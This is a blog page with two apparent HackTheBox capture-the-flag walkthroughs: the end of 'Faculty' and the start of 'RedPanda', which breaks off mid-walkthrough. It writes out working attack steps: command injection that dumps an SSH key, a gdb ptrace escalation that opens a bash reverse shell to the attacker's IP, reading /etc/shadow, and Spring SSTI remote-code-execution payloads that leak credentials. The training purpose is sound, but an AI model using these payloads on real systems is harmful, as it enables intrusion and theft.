<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> developer /usr/local/bin/meta-git clone <span class="s1">'pencer | cat ~/.ssh/id_rsa'</span>
<SNIP>
<span class="nt">-----BEGIN</span> OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxDAgrHcD2I4U329//sdapn4ncVzRYZxACC/czxmSO5Us2S87dxyw
izZ0hDszHyk+bCB5B1wvrtmAFu2KN4aGCoAJMNGmVocBnIkSczGp/zBy0pVK6H7g6GMAVS
<SNIP>
</code></pre></div></div>
<h2 id="ssh-access-as-developer">SSH Access As Developer</h2>
<p>Copy that to a file on Kali, remember to chmod 600 then use it to log in as developer:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# ssh <span class="nt">-i</span> id_rsa developer@10.10.11.169
Welcome to Ubuntu 20.04.4 LTS <span class="o">(</span>GNU/Linux 5.4.0-121-generic x86_64<span class="o">)</span>
System information as of Thu Jul 21 23:20:16 CEST 2022
Last login: Thu Jul 21 23:20:08 2022 from 10.10.14.207
<span class="nt">-bash-5</span>.0<span class="nv">$ </span>
</code></pre></div></div>
<h2 id="user-flag">User Flag</h2>
<p>Let’s grab the user flag:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span><span class="nb">cat </span>user.txt
889d845e4045c5cf146df52a896e6df0
</code></pre></div></div>
<h2 id="cap_sys_ptrace">Cap_sys_ptrace</h2>
<p>The path to root is actually really simple. You would have found this using <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">LinPEAS</a>, which is our usual go to method of looking for things that are out of the ordinary. I found it by looking at capabilities:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span>getcap <span class="nt">-r</span> / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper <span class="o">=</span> cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb <span class="o">=</span> cap_sys_ptrace+ep
/usr/bin/ping <span class="o">=</span> cap_net_raw+ep
/usr/bin/traceroute6.iputils <span class="o">=</span> cap_net_raw+ep
/usr/bin/mtr-packet <span class="o">=</span> cap_net_raw+ep
</code></pre></div></div>
<p>We can see gdb has the cap_sys_ptrace capability, which is covered by HackTricks <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace">here</a>. All we need is a process running as root. We can then attach gdb to it and make it call the system function as root.</p>
<p>First find processes running as root:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span>ps aux | <span class="nb">grep</span> <span class="s2">"^root*"</span>
root 1 0.0 0.5 170284 11528 ? Ss 10:56 0:28 /sbin/init maybe-ubiquity
root 2 0.0 0.0 0 0 ? S 10:56 0:00 <span class="o">[</span>kthreadd]
root 3 0.0 0.0 0 0 ? I< 10:56 0:00 <span class="o">[</span>rcu_gp]
<SNIP>
root 668 0.0 0.3 99896 6008 ? Ssl 10:56 0:00 /sbin/dhclient <span class="nt">-1</span> <span class="nt">-4</span> <span class="nt">-v</span> <span class="nt">-i</span> <span class="nt">-pf</span> /run/dhclient.eth0.pid <span class="nt">-lf</span> /var/lib/dhcp/dhclient.eth0.leases <span class="nt">-I</span> <span class="nt">-df</span> /var/lib/dhcp/dhclient6.eth0.leases eth0
root 687 0.0 0.4 238080 9176 ? Ssl 10:56 0:01 /usr/lib/accountsservice/accounts-daemon
root 696 0.0 0.1 81956 3756 ? Ssl 10:56 0:02 /usr/sbin/irqbalance <span class="nt">--foreground</span>
root 699 0.0 0.9 26896 18224 ? Ss 10:56 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher <span class="nt">--run-startup-triggers</span>
root 701 0.0 0.4 236436 9292 ? Ssl 10:56 0:00 /usr/lib/policykit-1/polkitd <span class="nt">--no-debug</span>
root 707 0.0 0.3 17500 7796 ? Ss 10:56 0:00 /lib/systemd/systemd-logind
root 708 0.0 0.6 395512 13720 ? Ssl 10:56 0:00 /usr/lib/udisks2/udisksd
root 740 0.0 0.6 245084 13340 ? Ssl 10:56 0:00 /usr/sbin/ModemManager
</code></pre></div></div>
<p>Through trial and error I found the process running python3 worked. So attach gdb to it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span>gdb <span class="nt">-p</span> 699
GNU gdb <span class="o">(</span>Ubuntu 9.2-0ubuntu1~20.04.1<span class="o">)</span> 9.2
Copyright <span class="o">(</span>C<span class="o">)</span> 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
<SNIP>
<span class="o">(</span>No debugging symbols found <span class="k">in</span> /lib/x86_64-linux-gnu/libgpg-error.so.0<span class="o">)</span>
Reading symbols from /usr/lib/python3/dist-packages/_dbus_glib_bindings.cpython-38-x86_64-linux-gnu.so...
<span class="o">(</span>No debugging symbols found <span class="k">in</span> /usr/lib/python3/dist-packages/_dbus_glib_bindings.cpython-38-x86_64-linux-gnu.so<span class="o">)</span>
Reading symbols from /usr/lib/python3.8/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so...
<span class="o">(</span>No debugging symbols found <span class="k">in</span> /usr/lib/python3.8/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so<span class="o">)</span>
Reading symbols from /lib/x86_64-linux-gnu/libbz2.so.1.0...
<span class="o">(</span>No debugging symbols found <span class="k">in</span> /lib/x86_64-linux-gnu/libbz2.so.1.0<span class="o">)</span>
Reading symbols from /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so...
<span class="o">(</span>No debugging symbols found <span class="k">in</span> /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so<span class="o">)</span>
0x00007f0a7964d967 <span class="k">in </span>__GI___poll <span class="o">(</span><span class="nv">fds</span><span class="o">=</span>0x25d9a60, <span class="nv">nfds</span><span class="o">=</span>3, <span class="nb">timeout</span><span class="o">=</span><span class="nt">-1</span><span class="o">)</span> at ../sysdeps/unix/sysv/linux/poll.c:29
29 ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
<span class="o">(</span>gdb<span class="o">)</span>
</code></pre></div></div>
<p>Make sure you have netcat listening on Kali then use the system function to use bash to connect to it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> call <span class="o">(</span>void<span class="o">)</span>system<span class="o">(</span><span class="s2">"/usr/bin/bash -c '/usr/bin/bash -i >& /dev/tcp/10.10.14.207/1234 0>&1'"</span><span class="o">)</span>
<span class="o">[</span>Detaching after vfork from child process 47309]
</code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>Switch to Kali to see we are now root:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# nc <span class="nt">-nlvp</span> 1234
listening on <span class="o">[</span>any] 1234 ...
connect to <span class="o">[</span>10.10.14.207] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.169] 55016
root@faculty:/#
</code></pre></div></div>
<p>Let’s grab the root flag to finish the box:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@faculty:/# <span class="nb">cat</span> /root/root.txt
f7a31c417625801904d8647f3db34466
root@faculty:/# <span class="nb">cat</span> /etc/shadow | <span class="nb">grep </span>root
root:<span class="nv">$6$CiEa</span>.wxtUKxG5q21<span class="nv">$ED3MTE6ehz0j0q4kRQfK4bnLQFLZDrG9skIPsc0p2</span>/X3JSBHFWjRWAZwEdUpqON6UqZOXvme7.1wHzNCVHqk9/:18559:0:99999:7:::
</code></pre></div></div>
<p>And that’s another box done. I hope you enjoyed my walkthrough and maybe learned something along the way. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Faculty is a medium level machine by gbyolo on HackTheBox. This Linux box focuses on vulnerabilities in a web app and software used by it.Walk-through of RedPanda from HackTheBox2023-02-05T00:00:00+00:002023-02-05T00:00:00+00:00https://pencer.io/ctf/ctf-htb-redpanda<p><a href="https://www.hackthebox.com/home/machines/profile/481">RedPanda</a> is an easy level machine by <a href="https://www.hackthebox.com/home/users/profile/25507">Woodenk</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. This Linux box focuses on a Java web application and a couple of OWASP favourite methods of exploiting it.</p>
<!--more-->
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-07-14-23-06-20.png" alt="redpanda" /></p>
<p>Our starting point on this box is exploring the workings of a Java Spring Boot web application. We find an SSTI vulnerability which leads to remote code execution, and eventually credentials for user SSH access. After a code review of the website source files and some lateral thinking we use an XXE attack which give us root.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/481">HTB - Easy - RedPanda</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>9th July 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>17th July 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.1 – <a href="https://www.kali.org/blog/kali-linux-2022-1-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.170 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> redpanda 10.10.11.170
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-07-14 23:08 BST
Nmap scan report <span class="k">for </span>10.10.11.170
Host is up <span class="o">(</span>0.030s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae <span class="o">(</span>RSA<span class="o">)</span>
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb <span class="o">(</span>ED25519<span class="o">)</span>
8080/tcp open http-proxy
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Thu, 14 Jul 2022 22:08:27 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html<span class="p">;</span><span class="nv">charset</span><span class="o">=</span>utf-8
| Content-Language: en
| Content-Length: 435
| Date: Thu, 14 Jul 2022 22:08:27 GMT
| Connection: close
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>15.96 seconds
</code></pre></div></div>
<p>Just two ports, 8080 will be our only option for now:</p>
<p><img src="/assets/images/2022-07-14-23-13-18.png" alt="redpanda-website" /></p>
<p>All we have is a search box:</p>
<p><img src="/assets/images/2022-07-16-15-09-38.png" alt="redpanda-search" /></p>
<h2 id="feroxbuster">Feroxbuster</h2>
<p>Nothing here at first glance, look for sub-folders with Feroxbuster:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# feroxbuster <span class="nt">-u</span> http://10.10.11.170:8080/
___ ___ __ __ __ __ __ ___
|__ |__ |__<span class="o">)</span> |__<span class="o">)</span> | / <span class="sb">`</span> / <span class="se">\ \_</span>/ | | <span class="se">\ </span>|__
| |___ | <span class="se">\ </span>| <span class="se">\ </span>| <span class="se">\_</span>_, <span class="se">\_</span>_/ / <span class="se">\ </span>| |__/ |___
by Ben <span class="s2">"epi"</span> Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.170:8080/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ <span class="o">[</span>200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout <span class="o">(</span>secs<span class="o">)</span> │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ <span class="o">[</span>GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press <span class="o">[</span>ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
405 GET 1l 3w 0c http://10.10.11.170:8080/search
200 GET 32l 97w 0c http://10.10.11.170:8080/stats
200 GET 55l 119w 0c http://10.10.11.170:8080/
500 GET 1l 1w 0c http://10.10.11.170:8080/error
<span class="o">[</span><span class="c">####################] - 1m 30000/30000 0s found:4 errors:0 </span>
<span class="o">[</span><span class="c">####################] - 1m 30000/30000 408/s http://10.10.11.170:8080/ </span>
</code></pre></div></div>
<p>The stats section shows authors:</p>
<p><img src="/assets/images/2022-07-16-15-20-44.png" alt="redpanda-stats" /></p>
<p>Clicking on an author gives us their stats:</p>
<p><img src="/assets/images/2022-07-16-15-21-44.png" alt="redpanda-woodenk" /></p>
<p>Clicking on <strong>Export table</strong> gives us an xml file with their stats:</p>
<p><img src="/assets/images/2022-07-16-16-23-46.png" alt="redpanda-export" /></p>
<p>We can download the pictures using the paths provided. Here’s them all in a collage:</p>
<p><img src="/assets/images/2022-07-16-15-19-38.png" alt="redpanda-pics" /></p>
<p>Very nice, but looking at their metadata with exiftool doesn’t reveal anything.</p>
<h2 id="ssti">SSTI</h2>
<p>On to other tests, eventually I tried server side template injection and found this:</p>
<p><img src="/assets/images/2022-07-16-15-39-58.png" alt="redpanda-ssti" /></p>
<p>Banned characters suggests we’re on the right track. Looking at the nmap scan from earlier we see:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>|_http-title: Red Panda Search | Made with Spring Boot
</code></pre></div></div>
<p>Searching for Spring Boot we find <a href="https://spring.io/projects/spring-boot">this</a> and <a href="https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html">this</a>:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Spring Framework is a Java platform that provides comprehensive infrastructure support for developing Java applications. Spring handles the infrastructure so you can focus on your application.
</code></pre></div></div>
<p>A search for <strong>Spring Boot SSTI</strong> found <a href="https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/">this</a> which has a useful table:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>${...}: Variable expressions – in practice, these are OGNL or Spring EL expressions.
*{...}: Selection expressions – similar to variable expressions but used for specific purposes.
#{...}: Message (i18n) expressions – used for internationalization.
@{...}: Link (URL) expressions – used to set correct URLs/paths in the application.
~{...}: Fragment expressions – they let you reuse parts of templates.
</code></pre></div></div>
<p>Trying variations we at last find our path forward:</p>
<p><img src="/assets/images/2022-07-16-15-46-28.png" alt="redpanda-ssti-working" /></p>
<p>Using an asterisk instead of a dollar works, we can switch to curl now to play with it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--data-binary</span> <span class="s1">'name=pencer'</span> <span class="s1">'http://10.10.11.170:8080/search'</span>
<SNIP>
<div <span class="nv">class</span><span class="o">=</span><span class="s2">"results"</span><span class="o">></span>
<h2 <span class="nv">class</span><span class="o">=</span><span class="s2">"searched"</span><span class="o">></span>You searched <span class="k">for</span>: pencer</h2>
</code></pre></div></div>
<p>A normal search works, try for SSTI:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--data-binary</span> <span class="s1">'name=*{7*7}'</span> <span class="s1">'http://10.10.11.170:8080/search'</span>
<SNIP>
<div <span class="nv">class</span><span class="o">=</span><span class="s2">"results"</span><span class="o">></span>
<h2 <span class="nv">class</span><span class="o">=</span><span class="s2">"searched"</span><span class="o">></span>You searched <span class="k">for</span>: 49</h2>
</code></pre></div></div>
<h2 id="remote-code-execution">Remote Code Execution</h2>
<p>SSTI with asterisk works. More searching found a script <a href="https://raw.githubusercontent.com/VikasVarshney/ssti-payload/master/ssti-payload.py">here</a> that let’s us do RCE:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# python3 ./ssti.py
Command <span class="o">==></span> <span class="nb">whoami</span>
<span class="k">${</span><span class="nv">T</span><span class="p">(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105))).getInputStream())</span><span class="k">}</span>
</code></pre></div></div>
<p>Remember to change the $ to a *, now send it with curl</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--data-binary</span> <span class="s1">'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105))).getInputStream())}'</span> <span class="s1">'http://10.10.11.170:8080/search'</span> | <span class="nb">grep</span> <span class="s1">'for:'</span>
<h2 <span class="nv">class</span><span class="o">=</span><span class="s2">"searched"</span><span class="o">></span>You searched <span class="k">for</span>: woodenk
</code></pre></div></div>
<p>That worked, how about the passwd file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# python3 ./ssti.py
Command <span class="o">==></span> <span class="nb">cat</span> /etc/passwd
<span class="k">${</span><span class="nv">T</span><span class="p">(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat<SNIP>
┌──(root㉿kali)-[~/htb/redpanda]
└─# curl -i -s -k -X POST --data-binary </span><span class="s1">'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec<SNIP>(T(java.lang.Character).toString(100))).getInputStream())}'</span><span class="p"> </span><span class="s1">'http://10.10.11.170:8080/search'</span><span class="p"> | grep -A 999 </span><span class="s1">'for:'</span><span class="p"> | grep bash
<h2 class=</span><span class="s2">"searched"</span><span class="p">>You searched for</span>:<span class="p"> root</span>:x:0:0:root:/root:/bin/bash<span class="p">
woodenk</span>:x:1000:1000:,,,:/home/woodenk:/bin/bash<span class="p">
</span></code></pre></div></div>
<p>We see just root and woodenk can login.</p>
<p>I’m pretty sure the box author did this to make the enumeration process as painful as possible, but eventually by using the above method to look around I found credentials.</p>
<p>Create the ssti payload using the script:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# python3 ./ssti.py
Command <span class="o">==></span> <span class="nb">cat</span> /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
<span class="k">${</span><span class="nv">T</span><span class="p">(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.(106)).
<SNIP>
</span></code></pre></div></div>
<p>Send it to get the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--data-binary</span> <span class="s1">'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang
<SNIP>
conn = DriverManager.getConnection(&quot;jdbc:mysql://localhost:3306/red_panda&quot;,
&quot;woodenk&quot;, &quot;RedPandazRule&quot;);
<SNIP>
</span></code></pre></div></div>
<h2 id="ssh-user-access">SSH User Access</h2>
<p>Amongst that we see the connection string with credentials. These are reused for SSH:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# ssh woodenk@10.10.11.170
woodenk@10.10.11.170s password:
Welcome to Ubuntu 20.04.4 LTS <span class="o">(</span>GNU/Linux 5.4.0-121-generic x86_64<span class="o">)</span>
System information as of Sat 16 Jul 2022 03:13:50 PM UTC
Last login: Sat Jul 16 15:02:23 2022 from 10.10.14.207
woodenk@redpanda:~<span class="nv">$ </span><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>woodenk<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>woodenk<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>woodenk<span class="o">)</span>
</code></pre></div></div>
<p>Let’s grab the user flag before we move on:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:~<span class="nv">$ </span><span class="nb">cat </span>user.txt
edbcdde9d7780ba9e7e95938fd4e234a
</code></pre></div></div>
<h2 id="mysql">MySQL</h2>
<p>We can have a look in the MySQL database with the same credentials:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:~<span class="nv">$ </span>mysql <span class="nt">-u</span> woodenk <span class="nt">-pRedPandazRule</span>
Welcome to the MySQL monitor. Commands end with <span class="p">;</span> or <span class="se">\g</span><span class="nb">.</span>
Your MySQL connection <span class="nb">id </span>is 811
Server version: 8.0.29-0ubuntu0.20.04.3 <span class="o">(</span>Ubuntu<span class="o">)</span>
mysql> show databases<span class="p">;</span>
+--------------------+
| Database |
+--------------------+
| information_schema |
| red_panda |
+--------------------+
2 rows <span class="k">in </span><span class="nb">set</span> <span class="o">(</span>0.02 sec<span class="o">)</span>
mysql> use red_panda
Database changed
mysql> show tables<span class="p">;</span>
+---------------------+
| Tables_in_red_panda |
+---------------------+
| pandas |
+---------------------+
1 row <span class="k">in </span><span class="nb">set</span> <span class="o">(</span>0.00 sec<span class="o">)</span>
mysql> <span class="k">select</span> <span class="k">*</span> from pandas<span class="p">;</span>
+----------+------------------------------------------------------------------------------------+------------------+---------+
| name | bio | imgloc | author |
+----------+------------------------------------------------------------------------------------+------------------+---------+
| Smooch | Smooch likes giving kisses and hugs to everyone! | img/smooch.jpg | woodenk |
| Hungy | Hungy is always hungry so he is eating all the bamboo <span class="k">in </span>the world! | img/hungy.jpg | woodenk |
| Greg | Greg is a hacker. Watch out <span class="k">for </span>his injection attacks! | img/greg.jpg | woodenk |
| Mr Puffy | Mr Puffy is the fluffiest red panda to have ever lived. | img/mr_puffy.jpg | damian |
| Florida | Florida panda is the evil twin of Greg. Watch out <span class="k">for </span>him! | img/florida.jpg | woodenk |
| Lazy | Lazy is always very sleepy so he likes to lay around all day and <span class="k">do </span>nothing. | img/lazy.jpg | woodenk |
| Shy | Shy is as his name suggest very shy. But he likes to cuddle when he feels like it. | img/shy.jpg | damian |
| Smiley | Smiley is always very happy. She loves to look at beautiful people like you <span class="o">!</span> | img/smiley.jpg | woodenk |
| Angy | Angy is always very grumpy. He sticks out his tongue to everyone. | img/angy.jpg | damian |
| Peter | Peter loves to climb. We think he was a spider <span class="k">in </span>his previous life. | img/peter.jpg | damian |
| Crafty | Crafty is always busy creating art. They will become a very famous red panda! | img/crafty.jpg | damian |
+----------+------------------------------------------------------------------------------------+------------------+---------+
11 rows <span class="k">in </span><span class="nb">set</span> <span class="o">(</span>0.00 sec<span class="o">)</span>
</code></pre></div></div>
<p>Ok, a bio for each picture but nothing else interesting in the database. I noticed this script in /opt when looking earlier:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:~<span class="nv">$ </span><span class="nb">cat</span> /opt/cleanup.sh
<span class="c">#!/bin/bash</span>
/usr/bin/find /tmp <span class="nt">-name</span> <span class="s2">"*.xml"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
/usr/bin/find /var/tmp <span class="nt">-name</span> <span class="s2">"*.xml"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
/usr/bin/find /dev/shm <span class="nt">-name</span> <span class="s2">"*.xml"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
/usr/bin/find /home/woodenk <span class="nt">-name</span> <span class="s2">"*.xml"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
/usr/bin/find /tmp <span class="nt">-name</span> <span class="s2">"*.jpg"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
/usr/bin/find /var/tmp <span class="nt">-name</span> <span class="s2">"*.jpg"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
/usr/bin/find /dev/shm <span class="nt">-name</span> <span class="s2">"*.jpg"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
/usr/bin/find /home/woodenk <span class="nt">-name</span> <span class="s2">"*.jpg"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="se">\;</span>
</code></pre></div></div>
<h2 id="pspy64">Pspy64</h2>
<p>That’s removing any xml and jpg files found in a few different directories. We can run pspy64 like we did on <a href="https://pencer.io/ctf/ctf-htb-timing/">Timing</a> to have a look at it running:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
<SNIP>
HTTP request sent, awaiting response... 200 OK
Length: 3078592 <span class="o">(</span>2.9M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘pspy64’
pspy64 100% <span class="o">[</span><<span class="o">============================>]</span> 2.94M 2.93MB/s <span class="k">in </span>1.0s
2022-07-16 16:26:26 <span class="o">(</span>2.93 MB/s<span class="o">)</span> - ‘pspy64’ saved <span class="o">[</span>3078592/3078592]
</code></pre></div></div>
<p>Start a web server so we can pull it over to the box:</p>
